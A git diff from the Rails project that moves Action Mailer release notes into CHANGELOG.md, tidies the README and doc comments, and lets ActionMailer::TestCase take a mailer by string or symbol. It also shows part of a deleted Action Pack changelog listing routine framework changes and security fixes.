+* Add a unified render method to ActionMailer (delegates to ActionView::Base#render)
+
+* Move mailer initialization to a separate (overridable) method, so that subclasses may alter the various defaults #1727
+
+* Look at content-location header (if available) to determine filename of attachments #1670
+
+* ActionMailer::Base.deliver(email) had been accidentally removed, but was documented in the Rails book #1849
+
+* Fix problem with sendmail delivery where headers should be delimited by \n characters instead of \r\n, which confuses some mail readers #1742 *Kent Sibilev*
+
+
+## 1.0.1 (11 July, 2005) ##
+
+* Bind to Action Pack 1.9.1
+
+
+## 1.0.0 (6 July, 2005) ##
+
+* Avoid adding nil header values #1392
+
+* Better multipart support with implicit multipart/alternative and sorting of subparts *John Long*
+
+* Allow for nested parts in multipart mails #1570 *Flurin Egger*
+
+* Normalize line endings in outgoing mail bodies to "\n" #1536 *John Long*
+
+* Allow template to be explicitly specified #1448 *tuxie@dekadance.se*
+
+* Allow specific "multipart/xxx" content-type to be set on multipart messages #1412 *Flurin Egger*
+
+* Unquoted @ characters in headers are now accepted in spite of RFC 822 #1206
+
+* Helper support (borrowed from ActionPack)
+
+* Silently ignore Errno::EINVAL errors when converting text.
+
+* Don't cause an error when parsing an encoded attachment name #1340 *lon@speedymac.com*
+
+* Nested multipart message parts are correctly processed in TMail::Mail#body
+
+* BCC headers are removed when sending via SMTP #1402
+
+* Added 'content_type' accessor, to allow content type to be set on a per-message basis. content_type defaults to "text/plain".
+
+* Silently ignore Iconv::IllegalSequence errors when converting text #1341 *lon@speedymac.com*
+
+* Support attachments and multipart messages.
+
+* Added new accessors for the various mail properties.
+
+* Fix to only perform the charset conversion if a 'from' and a 'to' charset are given (make no assumptions about what the charset was) #1276 *Jamis Buck*
+
+* Fix attachments and content-type problems #1276 *Jamis Buck*
+
+* Fixed the TMail#body method to look at the content-transfer-encoding header and unquote the body according to the rules it specifies #1265 *Jamis Buck*
+
+* Added unquoting even if the iconv lib can't be loaded--in that case, only the charset conversion is skipped #1265 *Jamis Buck*
+
+* Added automatic decoding of base64 bodies #1214 *Jamis Buck*
+
+* Added that delivery errors are caught in a way so the mail is still returned whether the delivery was successful or not
+
+* Fixed that email address like "Jamis Buck, M.D." <wild.medicine@example.net> would cause the quoter to generate emails resulting in "bad address" errors from the mail server #1220 *Jamis Buck*
+
+
+## 0.9.1 (20th April, 2005) ##
+
+* Depend on Action Pack 1.8.1
+
+
+## 0.9.0 (19th April, 2005) ##
+
+* Added that deliver_* will now return the email that was sent
+
+* Added that quoting to UTF-8 only happens if the characters used are in that range #955 *Jamis Buck*
+
+* Fixed quoting for all address headers, not just to #955 *Jamis Buck*
+
+* Fixed unquoting of emails that doesn't have an explicit charset #1036 *wolfgang@stufenlos.net*
+
+
+## 0.8.1 (27th March, 2005) ##
+
+* Fixed that if charset was found that the end of a mime part declaration TMail would throw an error #919 *lon@speedymac.com*
+
+* Fixed that TMail::Unquoter would fail to recognize quoting method if it was in lowercase #919 *lon@speedymac.com*
+
+* Fixed that TMail::Encoder would fail when it attempts to parse e-mail addresses which are encoded using something other than the messages encoding method #919 *lon@speedymac.com*
+
+* Added rescue for missing iconv library and throws warnings if subject/body is called on a TMail object without it instead
+
+
+## 0.8.0 (22th March, 2005) ##
+
+* Added framework support for processing incoming emails with an Action Mailer class. See example in README.
+
+
+## 0.7.1 (7th March, 2005) ##
+
+* Bind to newest Action Pack (1.5.1)
+
+
+## 0.7.0 (24th February, 2005) ##
+
+* Added support for charsets for both subject and body. The default charset is now UTF-8 #673 [Jamis Buck]. Examples:
+
+ def iso_charset(recipient)
+ @recipients = recipient
+ @subject = "testing iso charsets"
+ @from = "system@loudthinking.com"
+ @body = "Nothing to see here."
+ @charset = "iso-8859-1"
+ end
+
+ def unencoded_subject(recipient)
+ @recipients = recipient
+ @subject = "testing unencoded subject"
+ @from = "system@loudthinking.com"
+ @body = "Nothing to see here."
+ @encode_subject = false
+ @charset = "iso-8859-1"
+ end
+
+
+## 0.6.1 (January 18th, 2005) ##
+
+* Fixed sending of emails to use Tmail#from not the deprecated Tmail#from_address
+
+
+## 0.6 (January 17th, 2005) ##
+
+* Fixed that bcc and cc should be settable through @bcc and @cc -- not just @headers["Bcc"] and @headers["Cc"] #453 *Eric Hodel*
+
+* Fixed Action Mailer to be "warnings safe" so you can run with ruby -w and not get framework warnings #453 *Eric Hodel*
+
+
+## 0.5 ##
+
+* Added access to custom headers, like cc, bcc, and reply-to #268 [Andreas Schwarz]. Example:
+
+ def post_notification(recipients, post)
+ @recipients = recipients
+ @from = post.author.email_address_with_name
+ @headers["bcc"] = SYSTEM_ADMINISTRATOR_EMAIL
+ @headers["reply-to"] = "notifications@example.com"
+ @subject = "[#{post.account.name} #{post.title}]"
+ @body["post"] = post
+ end
+
+## 0.4 (5) ##
+
+* Consolidated the server configuration options into Base#server_settings= and expanded that with controls for authentication and more *Marten*
+ NOTE: This is an API change that could potentially break your application if you used the old application form. Please do change!
+
+* Added Base#deliveries as an accessor for an array of emails sent out through that ActionMailer class when using the :test delivery option. *Jeremy Kemper*
+
+* Added Base#perform_deliveries= which can be set to false to turn off the actual delivery of the email through smtp or sendmail.
+ This is especially useful for functional testing that shouldn't send off real emails, but still trigger delivery_* methods.
+
+* Added option to specify delivery method with Base#delivery_method=. Default is :smtp and :sendmail is currently the only other option.
+ Sendmail is assumed to be present at "/usr/sbin/sendmail" if that option is used. *Kent Sibilev*
+
+* Dropped "include TMail" as it added to much baggage into the default namespace (like Version) *Chad Fowler*
+
+
+## 0.3 ##
+
+* First release
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index 63e3893316..dc74b590f7 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -10,7 +10,7 @@ Mail gem. It provides a way to make emails using templates in the same
way that Action Controller renders views using templates.
Additionally, an Action Mailer class can be used to process incoming email,
-such as allowing a weblog to accept new posts from an email (which could even
+such as allowing a blog to accept new posts from an email (which could even
have been sent from a phone).
== Sending emails
@@ -59,6 +59,8 @@ generated would look like this:
Mr. david@loudthinking.com
+ Thank you for signing up!
+
In previous version of Rails you would call <tt>create_method_name</tt> and
<tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface, you
simply call the method and optionally call +deliver+ on the return value.
@@ -74,7 +76,7 @@ Or you can just chain the methods together like:
== Setting defaults
-It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you wont need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed.
+It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed.
Note that every value you set with this method will get over written if you use the same key in your mailer method.
@@ -135,13 +137,13 @@ The Base class has the full list of configuration options. Here's an example:
== Download and installation
-The latest version of Action Mailer can be installed with Rubygems:
+The latest version of Action Mailer can be installed with RubyGems:
% [sudo] gem install actionmailer
Source code can be downloaded as part of the Rails project on GitHub
-* https://github.com/rails/rails/tree/master/actionmailer/
+* https://github.com/rails/rails/tree/master/actionmailer
== License
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
index d7f450f751..7ecc35b7c7 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -12,7 +12,7 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
s.require_path = 'lib'
s.requirements << 'none'
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index cb289fd693..8f2c567e3e 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -100,12 +100,12 @@ module ActionMailer #:nodoc:
# You can even use Action Pack helpers in these views. For example:
#
# You got a new note!
- # <%= truncate(@note.body, 25) %>
+ # <%= truncate(@note.body, :length => 25) %>
#
# If you need to access the subject, from or the recipients in the view, you can do that through message object:
#
# You got a new note from <%= message.from %>!
- # <%= truncate(@note.body, 25) %>
+ # <%= truncate(@note.body, :length => 25) %>
#
#
# = Generating URLs
@@ -524,7 +524,7 @@ module ActionMailer #:nodoc:
#
# * <tt>:subject</tt> - The subject of the message, if this is omitted, Action Mailer will
# ask the Rails I18n class for a translated <tt>:subject</tt> in the scope of
- # <tt>[:actionmailer, mailer_scope, action_name]</tt> or if this is missing, will translate the
+ # <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
# humanized version of the <tt>action_name</tt>
# * <tt>:to</tt> - Who the message is destined for, can be a string of addresses, or an array
# of addresses.
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
index 63e18147f6..4e48c0260f 100644
--- a/actionmailer/lib/action_mailer/test_case.rb
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -15,9 +15,22 @@ module ActionMailer
include TestHelper
+ included do
+ class_attribute :_mailer_class
+ setup :initialize_test_deliveries
+ setup :set_expected_mail
+ end
+
module ClassMethods
def tests(mailer)
- self._mailer_class = mailer
+ case mailer
+ when String, Symbol
+ self._mailer_class = mailer.to_s.camelize.constantize
+ when Module
+ self._mailer_class = mailer
+ else
+ raise NonInferrableMailerError.new(mailer)
+ end
end
def mailer_class
@@ -35,8 +48,6 @@ module ActionMailer
end
end
- module InstanceMethods
-
protected
def initialize_test_deliveries
@@ -64,16 +75,8 @@ module ActionMailer
def read_fixture(action)
IO.readlines(File.join(Rails.root, 'test', 'fixtures', self.class.mailer_class.name.underscore, action))
end
- end
-
- included do
- class_attribute :_mailer_class
- setup :initialize_test_deliveries
- setup :set_expected_mail
- end
end
include Behavior
-
end
end
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
index 9416bc718e..e55d72fdb4 100644
--- a/actionmailer/test/mailers/base_mailer.rb
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -113,6 +113,6 @@ class BaseMailer < ActionMailer::Base
end
def email_with_translations
- mail :body => render("email_with_translations.html")
+ mail :body => render("email_with_translations", :formats => [:html])
end
end
diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_test.rb
new file mode 100644
index 0000000000..86fd37bea6
--- /dev/null
+++ b/actionmailer/test/test_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+
+class TestTestMailer < ActionMailer::Base
+end
+
+class CrazyNameMailerTest < ActionMailer::TestCase
+ tests TestTestMailer
+
+ def test_set_mailer_class_manual
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+class CrazySymbolNameMailerTest < ActionMailer::TestCase
+ tests :test_test_mailer
+
+ def test_set_mailer_class_manual_using_symbol
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+class CrazyStringNameMailerTest < ActionMailer::TestCase
+ tests 'test_test_mailer'
+
+ def test_set_mailer_class_manual_using_string
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
diff --git a/actionpack/CHANGELOG b/actionpack/CHANGELOG
deleted file mode 100644
index 3b323b3899..0000000000
--- a/actionpack/CHANGELOG
+++ /dev/null
@@ -1,5585 +0,0 @@
-*Rails 3.2.0 (unreleased)*
-
-* send_file now guess the mime type [Esad Hajdarevic]
-
-* Mime type entries for PDF, ZIP and other formats were added [Esad Hajdarevic]
-
-* Generate hidden input before select with :multiple option set to true.
- This is useful when you rely on the fact that when no options is set,
- the state of select will be sent to rails application. Without hidden field
- nothing is sent according to HTML spec [Bogdan Gusiev]
-
-* Refactor ActionController::TestCase cookies [Andrew White]
-
- Assigning cookies for test cases should now use cookies[], e.g:
-
- cookies[:email] = 'user@example.com'
- get :index
- assert_equal 'user@example.com', cookies[:email]
-
- To clear the cookies, use clear, e.g:
-
- cookies.clear
- get :index
- assert_nil cookies[:email]
-
- We now no longer write out HTTP_COOKIE and the cookie jar is
- persistent between requests so if you need to manipulate the environment
- for your test you need to do it before the cookie jar is created.
-
-
-*Rails 3.1.0 (unreleased)*
-
-* The submit form helper does not generate an id "object_name_id" anymore. [fbrusatti]
-
-* Make sure respond_with with :js tries to render a template in all cases [José Valim]
-
-* json_escape will now return a SafeBuffer string if it receives SafeBuffer string [tenderlove]
-
-* Make sure escape_js returns SafeBuffer string if it receives SafeBuffer string [Prem Sichanugrist]
-
-* Fix escape_js to work correctly with the new SafeBuffer restriction [Paul Gallagher]
-
-* Brought back alternative convention for namespaced models in i18n [thoefer]
-
- Now the key can be either "namespace.model" or "namespace/model" until further deprecation.
-
-* It is prohibited to perform a in-place SafeBuffer mutation [tenderlove]
-
- The old behavior of SafeBuffer allowed you to mutate string in place via
- method like `sub!`. These methods can add unsafe strings to a safe buffer,
- and the safe buffer will continue to be marked as safe.
-
- An example problem would be something like this:
-
- <%= link_to('hello world', @user).sub!(/hello/, params[:xss]) %>
-
- In the above example, an untrusted string (`params[:xss]`) is added to the
- safe buffer returned by `link_to`, and the untrusted content is successfully
- sent to the client without being escaped. To prevent this from happening
- `sub!` and other similar methods will now raise an exception when they are called on a safe buffer.
-
- In addition to the in-place versions, some of the versions of these methods which return a copy of the string will incorrectly mark strings as safe. For example:
-
- <%= link_to('hello world', @user).sub(/hello/, params[:xss]) %>
-
- The new versions will now ensure that *all* strings returned by these methods on safe buffers are marked unsafe.
-
- You can read more about this change in http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2e516e7acc96c4fb
-
-* Warn if we cannot verify CSRF token authenticity [José Valim]
-
-* Allow AM/PM format in datetime selectors [Aditya Sanghi]
-
-* Only show dump of regular env methods on exception screen (not all the rack crap) [DHH]
-
-* auto_link has been removed with no replacement. If you still use auto_link
- please install the rails_autolink gem:
- http://github.com/tenderlove/rails_autolink
-
- [tenderlove]
-
-* Added streaming support, you can enable it with: [José Valim]
-
- class PostsController < ActionController::Base
- stream :only => :index
- end
-
- Please read the docs at `ActionController::Streaming` for more information.
-
-* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers and only consider the format given as parameter [José Valim]
-
-* Created `ActionView::Renderer` and specified an API for `ActionView::Context`, check those objects for more information [José Valim]
-
-* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default [Prem Sichanugrist]
-
- This can be customized by setting `ActionController::Base.wrap_parameters` in `config/initializer/wrap_parameters.rb`
-
-* RJS has been extracted out to a gem. [fxn]
-
-* Implicit actions named not_implemented can be rendered. [Santiago Pastorino]
-
-* Wildcard route will always match the optional format segment by default. [Prem Sichanugrist]
-
- For example if you have this route:
-
- match '*pages' => 'pages#show'
-
- by requesting '/foo/bar.json', your `params[:pages]` will be equals to "foo/bar" with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this:
-
- match '*pages' => 'pages#show', :format => false
-
-* Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call [DHH]
-
- class PostsController < ApplicationController
- USER_NAME, PASSWORD = "dhh", "secret"
-
- before_filter :authenticate, :except => [ :index ]
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
-
- private
- def authenticate
- authenticate_or_request_with_http_basic do |user_name, password|
- user_name == USER_NAME && password == PASSWORD
- end
- end
- end
-
- ..can now be written as
-
- class PostsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
- end
-
-* Allow you to add `force_ssl` into controller to force browser to transfer data via HTTPS protocol on that particular controller. You can also specify `:only` or `:except` to specific it to particular action. [DHH and Prem Sichanugrist]
-
-* Allow FormHelper#form_for to specify the :method as a direct option instead of through the :html hash [DHH]
-
- form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete })
-
-* Make JavaScriptHelper#j() an alias for JavaScriptHelper#escape_javascript() -- note this then supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper [DHH]
-
-* Sensitive query string parameters (specified in config.filter_parameters) will now be filtered out from the request paths in the log file. [Prem Sichanugrist, fxn]
-
-* URL parameters which return false for to_param now appear in the query string (previously they were removed) [Andrew White]
-
-* URL parameters which return nil for to_param are now removed from the query string [Andrew White]
-
-* ActionDispatch::MiddlewareStack now uses composition over inheritance. It is
-no longer an array which means there may be methods missing that were not
-tested.
-
-* Add an :authenticity_token option to form_tag for custom handling or to omit the token (pass :authenticity_token => false). [Jakub Kuźma, Igor Wiedler]
-
-* HTML5 button_tag helper. [Rizwan Reza]
-
-* Template lookup now searches further up in the inheritance chain. [Artemave]
-
-* Brought back config.action_view.cache_template_loading, which allows to decide whether templates should be cached or not. [Piotr Sarnacki]
-
-* url_for and named url helpers now accept :subdomain and :domain as options, [Josh Kalderimis]
-
-* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused (check the documentation for examples). [Josh Kalderimis]
-
-* Added config.action_controller.include_all_helpers. By default 'helper :all' is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and helper corresponding to controller (like foo_helper for foo_controller). [Piotr Sarnacki]
-
-* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:
-
- tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
- # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
-
- Keys are dasherized. Values are JSON-encoded, except for strings and symbols. [Stephen Celis]
-
-* Deprecate old template handler API. The new API simply requires a template handler to respond to call. [José Valim]
-
-* :rhtml and :rxml were finally removed as template handlers. [José Valim]
-
-* Moved etag responsibility from ActionDispatch::Response to the middleware stack. [José Valim]
-
-* Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept 4 arguments and requires #destroy_session instead of simply #destroy. [José Valim]
-
-* file_field automatically adds :multipart => true to the enclosing form. [Santiago Pastorino]
-
-* Renames csrf_meta_tag -> csrf_meta_tags, and aliases csrf_meta_tag for backwards compatibility. [fxn]
-
-* Add Rack::Cache to the default stack. Create a Rails store that delegates to the Rails cache, so by default, whatever caching layer you are using will be used for HTTP caching. Note that Rack::Cache will be used if you use #expires_in, #fresh_when or #stale with :public => true. Otherwise, the caching rules will apply to the browser only. [Yehuda Katz, Carl Lerche]
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-*No changes.
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* Fixed XSS vulnerability in `auto_link`. `auto_link` no longer marks input as
- html safe. Please make sure that calls to auto_link() are wrapped in a
- sanitize(), or a raw() depending on the type of input passed to auto_link().
- For example:
-
- <%= sanitize(auto_link(some_user_input)) %>
-
- Thanks to Torben Schulz for reporting this. The fix can be found here:
- 61ee3449674c591747db95f9b3472c5c3bd9e84d
-
-* Fixes the output of `rake routes` to be correctly match to the behavior of the application, as the regular expression used to match the path is greedy and won't capture the format part by default [Prem Sichanugrist]
-
-* Fixes an issue with number_to_human when converting values which are less than 1 but greater than -1 [Josh Kalderimis]
-
-* Sensitive query string parameters (specified in config.filter_parameters) will now be filtered out from the request paths in the log file. [Prem Sichanugrist, fxn]
-
-* URL parameters which return nil for to_param are now removed from the query string [Andrew White]
-
-* Don't allow i18n to change the minor version, version now set to ~> 0.5.0 [Santiago Pastorino]
-
-* Make TranslationHelper#translate use the :rescue_format option in I18n 0.5.0 [Sven Fuchs]
-
-* Fix regression: javascript_include_tag shouldn't raise if you register an expansion key with nil or [] value [Santiago Pastorino]
-
-* Fix Action caching bug where an action that has a non-cacheable response always renders a nil response body. It now correctly renders the response body. [Cheah Chu Yeow]
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* When ActiveRecord::Base objects are sent to predicate methods, the id of the object should be sent to ARel, not the ActiveRecord::Base object.
-
-* :constraints routing should only do sanity checks against regular expressions. String arguments are OK.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* The helper number_to_currency accepts a new :negative_format option to be able to configure how to render negative amounts. [Don Wilson]
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* password_field renders with nil value by default making the use of passwords secure by default, if you want to render you should do for instance f.password_field(:password, :value => @user.password) [Santiago Pastorino]
-
-* Symbols and strings in routes should yield the same behavior. Note this may break existing apps that were using symbols with the new routes API. [José Valim]
-
-* Add clear_helpers as a way to clean up all helpers added to this controller, maintaining just the helper with the same name as the controller. [José Valim]
-
-* Support routing constraints in functional tests. [Andrew White]
-
-* Add a header that tells Internet Explorer (all versions) to use the best available standards support. [Yehuda Katz]
-
-* Allow stylesheet/javascript extensions to be changed through railties. [Josh Kalderimis]
-
-* link_to, button_to, and tag/tag_options now rely on html_escape instead of escape_once. [fxn]
-
-* url_for returns always unescaped strings, and the :escape option is gone. [fxn]
-
-* Added accept-charset parameter and _snowman hidden field to force the contents
- of Rails POSTed forms to be in UTF-8 [Yehuda Katz]
-
-* Upgrade to Rack 1.2.1 [Jeremy Kemper]
-
-* Allow :path to be given to match/get/post/put/delete instead of :path_names in the new router [Carlos Antônio da Silva]
-
-* Added resources_path_names to the new router DSL [José Valim]
-
-* Allow options to be given to the namespace method in the new router [Carlos Antônio da Silva]
-
-* Deprecate :name_prefix in the new router DSL [José Valim]
-
-* Add shallow routes back to the new router [Diego Carrion, Andrew White]
-
- resources :posts do
- shallow do
- resources :comments
- end
- end
-
- You can now use comment_path for /comments/1 instead of post_comment_path for /posts/1/comments/1.
-
-* Add support for multi-subdomain session by setting cookie host in session cookie so you can share session between www.example.com, example.com and user.example.com. #4818 [Guillermo Álvarez]
-
-* Removed textilize, textilize_without_paragraph and markdown helpers. [Santiago Pastorino]
-
-* Remove middleware laziness [José Valim]
-
-* Make session stores rely on request.cookie_jar and change set_session semantics to return the cookie value instead of a boolean. [José Valim]
-
-* OAuth 2: HTTP Token Authorization support to complement Basic and Digest Authorization. [Rick Olson]
-
-* Fixed inconsistencies in form builder and view helpers #4432 [Neeraj Singh]
-
-* Both :xml and :json renderers now forwards the given options to the model, allowing you to invoke them as render :xml => @projects, :include => :tasks [José Valim, Yehuda Katz]
-
-* Renamed the field error CSS class from fieldWithErrors to field_with_errors for consistency. [Jeremy Kemper]
-
-* Add support for shorthand routes like /projects/status(.:format) #4423 [Diego Carrion]
-
-* Changed translate helper so that it doesn’t mark every translation as safe HTML. Only keys with a "_html" suffix and keys named "html" are considered to be safe HTML. All other translations are left untouched. [Craig Davey]
-
-* New option :as added to form_for allows to change the object name. The old <% form_for :client, @post %> becomes <% form_for @post, :as => :client %> [spastorino]
-
-* Removed verify method in controllers. [JV]
- It's now available as a plugin at http://github.com/rails/verification
-
-* Removed input, form, error_messages_for and error_message_on from views. [JV]
- It's now available as a plugin at http://github.com/rails/dynamic_form
-
-* Routes can be scoped by controller module. [Jeremy Kemper]
-
- # /session => Auth::SessionsController
- scope :module => 'auth' do
- resource :session
- end
-
-* Added #favicon_link_tag, it uses #image_path so in particular the favicon gets an asset ID [fxn]
-
-* Fixed that default locale templates should be used if the current locale template is missing [DHH]
-
-* Added all the new HTML5 form types as individual form tag methods (search, url, number, etc) #3646 [Stephen Celis]
-
-* Changed the object used in routing constraints to be an instance of
- ActionDispatch::Request rather than Rack::Request [YK]
-
-* Changed ActionDispatch::Request#method to return a String, to be compatible
- with Rack::Request. Added ActionDispatch::Request#method_symbol to
- return a symbol form of the request method. [YK]
-
-* Changed ActionDispatch::Request#method to return the original
- method and #request_method to return the overridden method in the
- case of methodoverride being used (this means that #method returns
- "HEAD" and #request_method returns "GET" in HEAD requests). This
- is for compatibility with Rack::Request [YK]
-
-* #concat is now deprecated in favor of using <%= %> helpers [YK]
-
-* Block helpers now return Strings, so you can use <%= form_for @foo do |f| %>.
- <% form_for do |f| %> still works with deprecation notices [YK]
-
-* Add a new #mount method on the router that does not anchor the PATH_INFO
- at the end [YK & CL]
-
-* Create a new LookupContext object that is responsible for performantly
- finding a template for a given pattern [JV]
-
-* Removed relative_url_for in favor of respecting SCRIPT_NAME [YK & CL]
-
-* Changed file streaming to use Rack::Sendfile middleware [YK]
-
-* ActionDispatch::Request#content_type returns a String to be compatible with
- Rack::Request. Use #content_mime_type for the Mime::Type instance [YK]
-
-* Updated Prototype to 1.6.1 and Scriptaculous to 1.8.3 [ML]
-
-* Change the preferred way that URL helpers are included into a class[YK & CL]
-
- # for all helpers including named routes
- include Rails.application.router.url_helpers
-
- # for just url_for
- include Rails.application.router.url_for
-
-* Fixed that PrototypeHelper#update_page should return html_safe [DHH]
-
-* Fixed that much of DateHelper wouldn't return html_safe? strings [DHH]
-
-* Fixed that fragment caching should return a cache hit as html_safe (or it would all just get escaped) [DHH]
-
-* Added that ActionController::Base now does helper :all instead of relying on the default ApplicationController in Rails to do it [DHH]
-
-* Added ActionDispatch::Request#authorization to access the http authentication header regardless of its proxy hiding [DHH]
-
-* Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection [DHH]. Examples:
-
- flash[:notice] = 'Post was created'
- redirect_to(@post)
-
- ...becomes:
-
- redirect_to(@post, :notice => 'Post was created')
-
-* Added ActionController::Base#notice/= and ActionController::Base#alert/= as a convenience accessors in both the controller and the view for flash[:notice]/= and flash[:alert]/= [DHH]
-
-
-* Introduce grouped_collection_select helper. #1249 [Dan Codeape, Erik Ostrom]
-
-* Make sure javascript_include_tag/stylesheet_link_tag does not append ".js" or ".css" onto external urls. #1664 [Matthew Rudy Jacobs]
-
-* Ruby 1.9: fix Content-Length for multibyte send_data streaming. #2661 [Sava Chankov]
-
-* Ruby 1.9: ERB template encoding using a magic comment at the top of the file. [Jeremy Kemper]
- <%# encoding: utf-8 %>
-
-* Change integration test helpers to accept Rack environment instead of just HTTP Headers [Pratik Naik]
-
- Before : get '/path', {}, 'Accept' => 'text/javascript'
- After : get '/path', {}, 'HTTP_ACCEPT' => 'text/javascript'
-
-* Instead of checking Rails.env.test? in Failsafe middleware, check env["rails.raise_exceptions"] [Bryan Helmkamp]
-
-* Fixed that TestResponse.cookies was returning cookies unescaped #1867 [Doug McInnes]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") [DHH]
-
-* Don't check authenticity tokens for any AJAX requests [Ross Kaffenberger/Bryan Helmkamp]
-
-* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 [Gregg Pollack]
-
-* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger]
-
-* Form option helpers now support disabled option tags and the use of lambdas for selecting/disabling option tags from collections #837 [Tekin]
-
-* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") [DHH]
-
-* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 [chris finne/Andrew White]
-
-* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim]
-
-* Make the form_for and fields_for helpers support the new Active Record nested update options. #1202 [Eloy Duran]
-
- <% form_for @person do |person_form| %>
- ...
- <% person_form.fields_for :projects do |project_fields| %>
- <% if project_fields.object.active? %>
- Name: <%= project_fields.text_field :name %>
- <% end %>
- <% end %>
- <% end %>
-
-
-* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 [Jon Crawford]
-
-* Implement HTTP Digest authentication. #1230 [Gregg Kellogg, Pratik Naik] Example :
-
- class DummyDigestController < ActionController::Base
- USERS = { "lifo" => 'world' }
-
- before_filter :authenticate
-
- def index
- render :text => "Hello Secret"
- end
-
- private
-
- def authenticate
- authenticate_or_request_with_http_digest("Super Secret") do |username|
- # Return the user's password
- USERS[username]
- end
- end
- end
-
-* Improved i18n support for the number_to_human_size helper. Changes the storage_units translation data; update your translations accordingly. #1634 [Yaroslav Markin]
- storage_units:
- # %u is the storage unit, %n is the number (default: 2 MB)
- format: "%n %u"
- units:
- byte:
- one: "Byte"
- other: "Bytes"
- kb: "KB"
- mb: "MB"
- gb: "GB"
- tb: "TB"
-
-* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use [DHH]
-
-* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 [DHH]
-
-* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples:
-
- # Instead of render(:action => 'other_action')
- render('other_action') # argument has no '/'
- render(:other_action)
-
- # Instead of render(:template => 'controller/action')
- render('controller/action') # argument must not begin with a '/', but contain a '/'
-
- # Instead of render(:file => '/Users/lifo/home.html.erb')
- render('/Users/lifo/home.html.erb') # argument must begin with a '/'
-
-* Add :prompt option to date/time select helpers. #561 [Sam Oliver]
-
-* Fixed that send_file shouldn't set an etag #1578 [Hongli Lai]
-
-* Allow users to opt out of the spoofing checks in Request#remote_ip. Useful for sites whose traffic regularly triggers false positives. [Darren Boyd]
-
